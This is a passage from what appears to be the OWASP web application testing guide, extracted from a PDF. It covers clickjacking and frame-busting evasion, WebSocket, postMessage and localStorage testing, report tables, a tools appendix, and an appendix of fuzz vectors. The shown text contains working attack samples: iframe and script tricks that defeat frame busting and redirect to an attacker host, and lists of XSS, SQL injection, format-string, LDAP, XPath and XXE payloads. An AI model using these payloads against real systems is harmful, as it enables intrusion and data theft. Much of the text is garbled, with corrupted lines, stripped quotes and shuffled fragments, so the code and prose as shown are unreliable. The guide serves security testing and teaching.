<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return Do you want to leave fictitious.site?;
}
</script>
<iframe src=http://target site>
Attackers page:
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location =
http://attacker.site/204.php;
}
}, 1);
</script>
<iframe src=http://target site>
XSS Filter
Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava
and Lindsay have observed that these kind of filters can be used to
deactivate frame busting code by faking it as malicious code.
9&dd this filter has visibility into all requests and
responses parameters flowing through the web browser and
it compares them to a set of regular expressions in order to look
for reflected XSS attempts. When the filter identifies a possible
XSS attacks; it disable all inline scripts within the page, including
frame busting scripts (the same thing could be done with external
scripts). For this reason an attacker could induces a false positive
by inserting the beginning of the frame busting script into a request
parameters.
Example: Target web page frame busting code:
if ( top != self )
{
top.location=self.location;
}
</script>
Attacker code:
<iframe src=http://target site/?param=<script>if>
203
Attacker code:
<iframe src=http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D>
Redefining location
For several browser the document.location variable is an immutable attribute. However, for some version of Internet Explorer
and Safari, it is possible to redefine this attribute. This fact can be
exploited to evade frame busting code.
`9&9&it is possible to redefine
location as it is illustrated in the following example. By defining
location as a variable, any code that tries to read or to navigate
by assigning top.location will fail due to a security violation and so
the frame busting code is suspended.
Example:
<script>
var location = xyz;
</script>
<iframe src=http://target site></iframe>
`d To bust frame busting code
with top.location it is possible to bind location to a function
via defineSetter (through window), so that an attempt to read or
navigate to the top.location will fail.
Lowest version
Internet Explorer
8.0
Firefox (Gecko)
3.6.9 (1.9.2.9)
Opera
10.50
Safari
4.0
Chrome
4.1.249.1042
Proxies
Web proxies are known for adding and stripping headers. In the case
in which a web proxy strips the X-FRAME-OPTIONS header then
the site loses its framing protection.
Mobile website version
Also in this case, since the X-FRAME-OPTIONS has to be implemented in every page of the website, the developers may have not
protected the mobile version of the website.
Create a proof of concept
Once we have discovered that the site we are testing is vulnerable
to clickjacking attack, we can proceed with the development of a
proof of concept to demonstrate the vulnerability. It is important
to note that, as mentioned previously, these attacks can be used in
conjunction with other forms of attacks (for example CSRF attacks)
and could lead to overcome anti-CSRF tokens. In this regard we can
imagine that, for example, the target site allows to authenticated
and authorized users to make a transfer of money to another account.
Suppose that to execute the transfer the developers have planned
three steps. In the first step the user fill a form with the destination
account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).
Example:
<script>
window.defineSetter(location , function(){});
</script>
<iframe src=http://target site></iframe>
Server side protection: X-Frame-Options
An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This
new X-FRAME-OPTIONS header is sent from the server on HTTP
204
</form>;
But playing with the CSS opacity value we can see what is hidden
under a seemingly innocuous web page.
</div>
In the last step are planned security controls and then, if is all ok, the
transfer is done. Following is presented a snippet of the code of the
last step (Note: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):
d&dd9RM^RdjtiCsrf])) )
{
//here we can suppose input sanitization code
//check the anti-CSRF token
if( ($_SESSION[antiCsrf] == $_POST[antiCsrf]) )
{
echo <p> . $_POST[amount] . successfully transfered to account: . $_POST[account] . </p>;
}
}
else
{
}
As you can see the code is protected from CSRF attack both with
<head>
205
}
#content {
width: 500px;
height: 500px;
margin-top: 150px ;
margin-left: 500px;
}
#clickjacking
{
position: absolute;
left: 172px;
top: 60px;
filter: alpha(opaci-
ty=0);
}
//--></style>
</head>
<body>
owasp.com>
opacity:0.0
Tools
<input type=submit
Summary
Traditionally the HTTP protocol only allows one request/response
per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires
the client to initiate the requests and wait for the server responses
(half-duplex).
HTML5 WebSockets allow the client/server to create a full-duplex
(two-way) communication channels, allowing the client and server
to truly communicate asynchronously. WebSockets conduct their
initial upgrade handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.
Origin
It is the servers responsibility to verify the Origin header in the initial
HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server
may accept connections from any origin. This could allow attackers
to communicate with the WebSocket server cross-domain allowing
for Top 10 2013-A8-Cross-Site Request Forgery (CSRF) type issues.
Confidentiality and Integrity
WebSockets can be used over unencrypted TCP or over encrypted
TLS. To use unencrypted WebSockets the ws:// URI scheme is used
(default port 80), to use encrypted (TLS) WebSockets the wss:// URI
scheme is used (default port 443). Look out for Top 10 2013-A6-Sensitive Data Exposure type issues.
Authentication
WebSockets do not handle authentication, instead normal application
authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for Top 10 2013-A2-Broken
Authentication and Session Management type issues.
Authorization
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for Top 10 2013-A4-Insecure
Direct Object References and Top 10 2013-A7-Missing Function
Level Access Control type issues.
206
Input Sanitization
As with any data originating from untrusted sources, the data should
be properly sanitised and encoded. Look out for Top 10 2013-A1-Injection and Top 10 2013-A3-Cross-Site Scripting (XSS) type issues.
How to Test
Black Box testing
1. Identify that the application is using WebSockets.
9n`9
scheme.
n1#jM
WebSocket communication.
nRzd^^^zd
Example 2
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the
WebSocket handshakes origin header. Attempt to replay requests
previously intercepted to verify that cross-domain WebSocket communication is possible.
2. Origin.
nzdj
below) attempt to connect to the remote WebSocket server. If a
connection is established the server may not be checking the origin
header of the WebSocket handshake.
3. Confidentiality and Integrity.
zdddG
sensitive information (wss://).
ddG9y
BEAST, CRIME, RC4, etc). Refer to the Testing for Weak SSL/
TLS Ciphers, Insufficient Transport Layer Protection (OTGCRYPST-001) section of this guide.
4. Authentication.
zd
authentication tests should be carried out. Refer to the
Authentication Testing sections of this guide.
5. Authorization.
zd
authorization tests should be carried out. Refer to the Authorization
Testing sections of this guide.
6. Input Sanitization.
nRzd^^^zd
and fuzz WebSocket request and responses. Refer to the Testing
for Data Validation sections of this guide.
Example 1
Once we have identified that the application is using WebSockets (as
described above) we can use the OWASP Zed Attack Proxy (ZAP) to
intercept the WebSocket request and responses. ZAP can then be
used to replay and fuzz the WebSocket request/responses.
207
Summary
Web Messaging (also known as Cross Document Messaging) allows
applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows)
was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish
these tasks, most of them were mainly insecure.
This restriction within the browser is in place to restrict a malicious
website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites
need to exchange data between each other. To meet this need Cross
Document Messaging was introduced within he WHATWG HTML5
draft specification and implemented in all major browsers. It enables
secure communication between multiple origins across iframes,
tabs and windows.
The Messaging API introduced the postMessage() method, with
which plain-text messages can be sent cross-origin. It consists of
two parameters, message and domain.
There are some security concerns when using * as the domain that
we discuss below. Then, in order to receive messages the receiving
website needs to add a new event handler, and has the following attributes:
j
j
An example:
Send message:
iframe1.contentWindow.postMessage(Hello world,http://
www.example.com);
Receive message:
window.addEventListener(message, handler, true);
function handler(event) {
if(event.origin === chat.example.com) {
/* process message (event.data) */
} else {
/* ignore messages from untrusted domains */
}
}
208
Tools
Summary
Local Storage also known as Web Storage or Offline Storage is a
mechanism to store data as key/value pairs tied to a domain and
enforced by the same origin policy (SOP). There are two objects,
localStorage that is persistent and is intended to survive browser/
system reboots and sessionStorage that is temporary and will only
exists until the window or tab is closed.
On average browsers allow to store in this storage around 5MB per
domain, that compared to the 4KB of cookies is a big difference, but
the key difference from the security perspective is that the data
stored in these two objects is kept in the client and never sent to the
server, this also improves network performance as data do not need
to travel over the wire back and forth.
localStorage
Access to the storage is normally done using the setItem
and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able
to extract all the data from the storage. Also malicious data
can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data.
Check if there are more than one application in the same domain like
example.foo/app1 and example.foo/app2 because those will share
the same storage.
Data stored in this object will persist after the window is closed, it is
a bad idea to store sensitive data or session identifiers on this object
as these can be accesed via JavaScript. Session IDs stored in cookies
can mitigate this risk using the httpOnly flag.
sessionStorage
Main difference with localStorage is that the data stored in this object
is only accessible until the tab/window is closed which is a perfect
candidate for data that doesnt need to persist between sessions. It
shares most of the properties and the getItem/setItem methods, so
manual testing needs to be undertaken to look for these methods
and identify in which parts of the code the storage is accessed.
How to Test
Black Box testing
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as
it needs to be sent to the client to be executed.
Gray Box testing
First of all, we need to check whether the Local Storage is used.
Example 1: Access to localStorage:
Access to every element in localStorage with JavaScript:
for(var i=0; i<localStorage.length; i++) {
console.log(localStorage.key(i), = , localStorage.getItem(localStorage.key(i)));
}
209
Using Google Chrome, click on menu -> Tools -> Developer Tools.
Then under Resources you will see Local Storage and Web Storage.
Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.
Also, we can inspect these objects from the developer tools of our
browser.
Next manual testing needs to be conducted in order to determine
whether the website is storing sensitive data in the storage that
represents a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the
code does not escape the input or output. The JavaScript code has
to be analyzed to evaluate these issues, so make sure you crawl the
application to discover every instance of JavaScript code and note
sometimes applications use third-party libraries that would need to
be examined too.
Here is an example of how improper use of user input and lack of
validation can lead to XSS attacks.
Example 2: XSS in localStorage:
Insecure assignment from localStorage can lead to XSS
function action(){
var resource = location.hash.substring(1);
localStorage.setItem(item,resource);
item = localStorage.getItem(item);
document.getElementById(div1).innerHTML=item;
}
</script>
<body onload=action()>
<div id=div1></div>
</body>
URL PoC:
Tools
Firebug - http://getfirebug.com/
Google Chrome Developer Tools - https://developers.google.com
chrome-developer-tools/
OWASP Zed Attack Proxy (ZAP) - https://www.owasp.org/index
php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding
vulnerabilities in web applications. It is designed to be used by people
with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow
you to find security vulnerabilities manually.
References
OWASP Resources
OWASP HTML5 Security Cheat Sheet: https://www.owasp.org
index.php/HTML5_Security_Cheat_Sheet
Whitepapers
Web Storage Specification: http://www.w3.org/TR/webstorage/
210
Reporting
Performing the technical side of the assessment is only half
of the overall assessment process. The final product is the
production of a well written and informative report. A report
should be easy to understand and should highlight all the
risks found during the assessment phase.
211
Reporting
Test ID
Lowest version
Information Gathering
OTG-INFO-001
OTG-INFO-002
OTG-INFO-003
OTG-INFO-004
OTG-INFO-005
OTG-INFO-006
OTG-INFO-007
OTG-INFO-008
OTG-INFO-009
OTG-INFO-010
OTG-CONFIG-002
OTG-CONFIG-003
OTG-CONFIG-004
OTG-CONFIG-005
OTG-CONFIG-006
OTG-CONFIG-007
OTG-CONFIG-008
OTG-IDENT-002
OTG-IDENT-003
OTG-IDENT-004
OTG-IDENT-005
OTG-IDENT-006
OTG-IDENT-007
Authentication Testing
OTG-AUTHN-001
OTG-AUTHN-002
OTG-AUTHN-003
OTG-AUTHN-004
OTG-AUTHN-005
OTG-AUTHN-006
OTG-AUTHN-007
OTG-AUTHN-008
OTG-AUTHN-009
OTG-AUTHN-010
Authorization Testing
OTG-AUTHZ-001
OTG-AUTHZ-002
OTG-AUTHZ-003
OTG-AUTHZ-004
212
Reporting
Test ID
Lowest version
OTG-SESS-002
OTG-SESS-003
OTG-SESS-004
OTG-SESS-005
OTG-SESS-006
OTG-SESS-007
OTG-SESS-008
OTG-INPVAL-002
OTG-INPVAL-003
OTG-INPVAL-004
OTG-INPVAL-006
OTG-INPVAL-007
OTG-INPVAL-008
OTG-INPVAL-009
OTG-INPVAL-010
OTG-INPVAL-011
OTG-INPVAL-012
IMAP/SMTP Injection
OTG-INPVAL-013
OTG-INPVAL-014
OTG-INPVAL-015
OTG-INPVAL-016
OTG-INPVAL-017
Error Handling
OTG-ERR-001
OTG-ERR-002
Cryptography
OTG-CRYPST-001
OTG-CRYPST-002
OTG-CRYPST-003
213
Reporting
Test ID
Lowest version
OTG-BUSLOGIC-002
OTG-BUSLOGIC-003
OTG-BUSLOGIC-004
OTG-BUSLOGIC-005
OTG-BUSLOGIC-006
OTG-BUSLOGIC-007
OTG-BUSLOGIC-008
OTG-BUSLOGIC-009
OTG-CLIENT-002
OTG-CLIENT-003
OTG-CLIENT-004
OTG-CLIENT-005
OTG-CLIENT-006
OTG-CLIENT-007
OTG-CLIENT-008
OTG-CLIENT-009
OTG-CLIENT-010
Testing WebSockets
OTG-CLIENT-011
OTG-CLIENT-012
214
Appendix
Appendix
This section is often used to describe the commercial and opensource tools that were used in conducting the assessment. When
custom scripts or code are utilized during the assessment, it should
be disclosed in this section or noted as attachment. Customers appreciate when the methodology used by the consultants is included. It
gives them an idea of the thoroughness of the assessment and what
areas were included.
References Industry standard vulnerability severity and risk rankings
(CVSS) [1] http://www.first.org/cvss
215
Appendix
kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
Request Maker is a tool for penetration testing. With it you can easily
capture requests made by web pages, tamper with the URL, headers
and POST data and, of course, make new requests
Cookie Editor - https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US
Edit This Cookie is a cookie manager. You can add, delete, edit, search,
protect and block cookies
Cookie swap - https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US
Swap My Cookies is a session manager, it manages cookies, letting
you login on any website with several different accounts.
Firebug lite for Chrome - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
Firebug Lite is not a substitute for Firebug, or Chrome Developer
Tools. It is a tool to be used in conjunction with these tools. Firebug
Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model
shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties
Session Manager - https://chrome.google.com/webstore/detail/
bbcnbpafconjjigibnhbfmmgdbbkcjfi
With Session Manager you can quickly save your current browser
state and reload it whenever necessary. You can manage multiple
sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the
opened tabs and windows.
Subgraph Vega - http://www.subgraph.com/products.html
Vega is a free and open source scanner and testing platform to test
the security of web applications. Vega can help you find and validate
SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI
based, and runs on Linux, OS X, and Windows.
Testing for specific vulnerabilities
Testing for DOM XSS
DOMinator Pro - https://dominator.mindedsecurity.com
Testing AJAX
OWASP Sprajax Project
Testing for SQL Injection
OWASP SQLiX
d d_G d 9 j j http://sqlninja.
sourceforge.net
Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://
sqlmap.org/
Absinthe 1.1 (formerly SQLSqueal) - http://sourceforge.net/projects/
absinthe/
SQLInjector - Uses inference techniques to extract data and
determine the backend database server. http://www.databasesecurity.
com/sql-injector.htm
Bsqlbf-v2: A perl script allows extraction of data from Blind SQL
Injections - http://code.google.com/p/bsqlbf-v2/
Pangolin: An automatic SQL injection penetration testing tool - http://
www.darknet.org.uk/2009/05/pangolin-automatic-sql-injectiontool/
Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper http://www.ruizata.com/
Multiple DBMS Sql Injection tool - SQL Power Injector - http://www.
sqlpowerinjector.com/
216
Appendix
jsp/products/soatest.jsp?itemId=101
MatriXay - http://www.dbappsecurity.com/webscan.html
N-Stalker Web Application Security Scanner - http://www.nstalker.
com
HP WebInspect - http://www.hpenterprisesecurity.com/products/
hp-fortify-software-security-center/hp-webinspect
SoapUI (Web Service security testing) - http://www.soapui.org/
Security/getting-started.html
Netsparker - http://www.mavitunasecurity.com/netsparker/
SAINT - http://www.saintcorporation.com/
QualysGuard WAS - http://www.qualys.com/enterprises/
qualysguard/web-application-scanning/
Retina Web - http://www.eeye.com/Products/Retina/WebSecurity-Scanner.aspx
Cenzic Hailstorm - http://www.cenzic.com/downloads/datasheets/
Cenzic-datasheet-Hailstorm-Technology.pdf
Source Code Analyzers
Open Source / Freeware
Owasp Orizon
OWASP LAPSE
OWASP O2 Platform
Google CodeSearchDiggity - http://www.stachliu.com/resources/
tools/google-hacking-diggity-project/attack-tools/
PMD - http://pmd.sourceforge.net/
FlawFinder - http://www.dwheeler.com/flawfinder
Microsofts FxCop
Splint - http://splint.org
Boon - http://www.cs.berkeley.edu/~daw/boon
FindBugs - http://findbugs.sourceforge.net
Find Security Bugs - http://h3xstream.github.io/find-sec-bugs/
Oedipus - http://www.darknet.org.uk/2006/06/oedipus-opensource-web-application-security-analysis/
W3af - http://w3af.sourceforge.net/
phpcs-security-audit - https://github.com/Pheromone/phpcssecurity-audit
Commercial
Armorize CodeSecure - http://www.armorize.com/index.php?link_
id=codesecure
Parasoft C/C++ test - http://www.parasoft.com/jsp/products/
cpptest.jsp/index.htm
Checkmarx CxSuite - http://www.checkmarx.com
HP Fortify - http://www.hpenterprisesecurity.com/products/hpfortify-software-security-center/hp-fortify-static-code-analyzer
GrammaTech - http://www.grammatech.com
ITS4 - http://seclab.cs.ucdavis.edu/projects/testing/tools/its4.html
Appscan - http://www-01.ibm.com/software/rational/products/
appscan/source/
ParaSoft - http://www.parasoft.com
Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de
Veracode - http://www.veracode.com
Armorize CodeSecure - http://www.armorize.com/codesecure/
Acceptance Testing Tools
Acceptance testing tools are used to validate the functionality of web
applications. Some follow a scripted approach and typically make use
of a Unit Testing framework to construct test suites and test cases.
Most, if not all, can be adapted to perform security specific tests in
addition to functional tests.
Whitepapers
The Economic Impacts of Inadequate Infrastructure for Software
217
Appendix
Testing - http://www.nist.gov/director/planning/upload/report02-3.
pdf
Improving Web Application Security: Threats and Countermeasures- http://msdn.microsoft.com/en-us/library/ff649874.aspx
NIST Publications - http://csrc.nist.gov/publications/PubsSPs.html
The Open Web Application Security Project (OWASP) Guide Project https://www.owasp.org/index.php/Category:OWASP_Guide_Project
Security Considerations in the System Development Life Cycle
(NIST) - http://www.nist.gov/customcf/get_pdf.cfm?pub_id=890097
The Security of Applications: Not All Are Created Equal - http://www.
securitymanagement.com/archive/library/atstake_tech0502.pdf
Software Assurance: An Overview of Current Practices - http://
www.safecode.org/publications/SAFECode_BestPractices0208.pdf
Software Security Testing: Software Assurance Pocket guide
Series: Development, Volume III - https://buildsecurityin.us-cert.
gov/swa/downloads/SoftwareSecurityTesting_PocketGuide_1%20
0_05182012_PostOnline.pdf
Use Cases: Just the FAQs and Answers http://www.ibm.com/
developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf
Books
The Art of Software Security Testing: Identifying Software Security
Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison-Wesley, ISBN 0321304861 (2006)
Building Secure Software: How to Avoid Security Problems the
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) - http://www.buildingsecuresoftware.com
The Ethical Hack: A Framework for Business Value Penetration
Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X
(2005)
+ Online version available at: http://books.google.com/books?id=fdER&
Exploiting Software: How to Break Code, by Gary McGraw and Greg
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958
(2004) -http://www.exploitingsoftware.com
The Hackers Handbook: The Strategy behind Breaking into and
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)
+ Online version available at: http://books.google.com/
R^y
218
Appendix
The following are fuzzing vectors which can be used with WebScarab,
JBroFuzz, WSFuzzer, ZAP or another fuzzer. Fuzzing is the kitchen
sink approach to testing the response of an application to parameter
manipulation. Generally one looks for error conditions that are generated in an application as a result of fuzzing. This is the simple part
of the discovery phase. Once an error has been discovered identifying
and exploiting a potential vulnerability is where skill is required.
Fuzz Categories
In the case of stateless network protocol fuzzing (like HTTP(S)) two
broad categories exist:
Recursive fuzzing
Replacive fuzzing
We examine and define each category in the sub-sections that follow.
Recursive fuzzing
Recursive fuzzing can be defined as the process of fuzzing a part of
a request by iterating through all the possible combinations of a set
alphabet. Consider the case of:
http://www.example.com/8302fa3b
Selecting 8302fa3b as a part of the request to be fuzzed against
the set hexadecimal alphabet (i.e. {0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f}) falls
under the category of recursive fuzzing. This would generate a total
of 16^8 requests of the form:
http://www.example.com/00000000
...
http://www.example.com/11000fff
...
http://www.example.com/ffffffff
Replacive fuzzing
Replacive fuzzing can be defined as the process of fuzzing part of a
request by means of replacing it with a set value. This value is known
as a fuzz vector. In the case of:
http://www.example.com/8302fa3b
Testing against Cross Site Scripting (XSS) by sending the following
fuzz vectors:
dd
dd
This is a form of replacive fuzzing. In this category, the total number
of requests is dependent on the number of fuzz vectors specified.
The remainder of this appendix presents a number of fuzz vector categories.
219
dd
><STYLE>@importjavascript:alert(XSS);</STYLE>
>><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
%uff1cscript%uff1ealert(XSS)%uff1c/script%uff1e
>
>
dd
<IMG SRC=javascript:alert(XSS);>
<IMG SRC=javascript:alert(XSS)>
<IMG SRC=JaVaScRiPt:alert(XSS)>
9L1d`Cyd`^ddz`
9L1d`z`z`
z`z`
9L1d`z`z`z`
z`z`z`z`
9L1d`z`z`
z`
9L1d`z`dd
9L1d`z`dd
9L1d`#z`dd
%s%p%x%d
.1024d
%.2049d
%p%p%p%p
%x%x%x%x
%d%d%d%d
%s%s%s%s
%99999999999s
%08x
%%20d
%%20n
%%20x
%%20s
%s%s%s%s%s%s%s%s%s%s
%p%p%p%p%p%p%p%p%p%p
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%
%s x 129
220
having 1=1- having 1=1- group by userid having 1=1- SELECT name FROM syscolumns WHERE id = (SELECT id
FROM sysobjects WHERE name = tablename)- or 1 in (select @@version)- union all select @@version- OR unusual = unusual
OR something = some+thing
OR text = Ntext
OR something like some%
OR 2 > 1
OR text > t
OR whatever in (whatever)
OR 2 BETWEEN 1 and 3
or username like char(37);
union select * from users where login =
char(114,111,111,116);
union select
Password:*/=1-UNI/**/ON SEL/**/ECT
; EXECUTE IMMEDIATE SEL || ECT US || ER
; EXEC (SEL + ECT US + ER)
/**/OR/**/1/**/=/**/1
or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
221
LDAP Injection
For details on LDAP Injection: Testing for LDAP Injection
|
!
(
)
%28
%29
%26
%21
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
*()|%26
admin*
admin*)((|userPassword=*)
*)(uid=*))(|(uid=*
XPATH Injection
For details on XPATH Injection: Testing for XPath Injection
+or+1=1
+or+=
x+or+1=1+or+x=y
/
//
//*
*/*
@*
count(/child::node())
x+or+name()=username+or+x=y
Background
Character encoding is the process of mapping characters, numbers
and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to
different languages like English, Chinese, Greek or any other known
language) into bytes. An example of a widely used character encoding
scheme is the American Standard Code for Information Interchange
(ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode UTF-8 and UTF-16 computing
industry standards.
In the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse.
It is being used for encoding malicious injection strings in a way that
obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render
encoded text.
Input Encoding Filter Evasion
Web applications usually employ different types of input filtering
mechanisms to limit the input that can be submitted by the user. If
these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a
/ can be represented as 2F (hex) in ASCII, while the same character
(/) is encoded as C0 AF in Unicode (2 byte sequence). Therefore, it is
important for the input filtering control to be aware of the encoding
scheme used. If the filter is found to be detecting only UTF-8 encoded
injections, a different encoding scheme may be employed to bypass
this filter.
Output Encoding Server & Browser Consensus
Web browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (Content-Type) field, as
Content-Type: text/html; charset=UTF-8
XML Injection
Details on XML Injection here: Testing for XML Injection
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version=1.0 encoding=ISO-8859-1?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(gotcha);<![CDATA[<]]>/
SCRIPT<![CDATA[>]]></foo>
<?xml version=1.0 encoding=ISO-8859-1?><foo><![CDATA[ or 1=1 or =]]></foof>
<?xml version=1.0 encoding=ISO-8859-1?><!DOCTYPE
foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM file://c:/boot.
shown below:
<META http-equiv=Content-Type content=text/html; charset=ISO-8859-1>
or through HTML META tag (META HTTP-EQUIV), as shown below:
It is through these character encoding declarations that the browser
understands which set of characters to use when converting bytes to
characters. Note that the content type mentioned in the HTTP header
has precedence over the META tag declaration.
CERT describes it here as follows:
Many web pages leave the character encoding (charset parameter
in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to ISO-8859-1 if it wasnt
defined. In fact, many browsers had a different default, so it was not
possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes this - if the character encoding isnt specified, any character
222
9L1d`ddM
reference)
The above uses HTML Entities to construct the injection string.
HTML Entities encoding is used to display characters that have a
special meaning in HTML. For instance, > works as a closing bracket for a HTML tag. In order to actually display this character on the
web page HTML character entities should be inserted in the page
source. The injections mentioned above are one way of encoding.
There are numerous other ways in which a string can be encoded
(obfuscated) in order to bypass the above filter.
Hex Encoding
Hex, short for Hexadecimal, is a base 16 numbering system i.e it
has 16 different values from 0 to 9 and A to F to represent various
characters. Hex encoding is another form of obfuscation that is
sometimes used to bypass input validation filters. For instance, hex
encoded version of the string <IMG SRC=javascript:alert(XSS)> is
<IMG SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%
6C%65%72%74%28%27%58%53%53%27%29>
A variation of the above string is given below. Can be used in case
% is being filtered:
9L1d`
For the above script to work, the browser has to interpret the web
page as encoded in UTF-7.
Multi-byte Encoding
Variable-width encoding is another type of character encoding
scheme that uses codes of varying lengths to encode characters.
Multi-Byte Encoding is a type of variable-width encoding that
uses varying number of bytes to represent a character. Multi-byte
encoding is primarily used to encode characters that belong to a
large character set e.g. Chinese, Japanese and Korean.
Multibyte encoding has been used in the past to bypass standard
input validation functions and carry out cross site scripting and
SQL injection attacks.
References
http://en.wikipedia.org/wiki/Encode_(semiotics)
http://ha.ckers.org/xss.html
http://www.cert.org/tech_tips/malicious_code_mitigation.html
http://www.w3schools.com/HTML/html_entities.asp
http://www.iss.net/security_center/advice/Intrusions/2000639/default.htm
http://searchsecurity.techtarget.com/expert/KnowledgebaseAnswer/0,289625,sid14_gci1212217_tax299989,00.html
http://www.joelonsoftware.com/articles/Unicode.html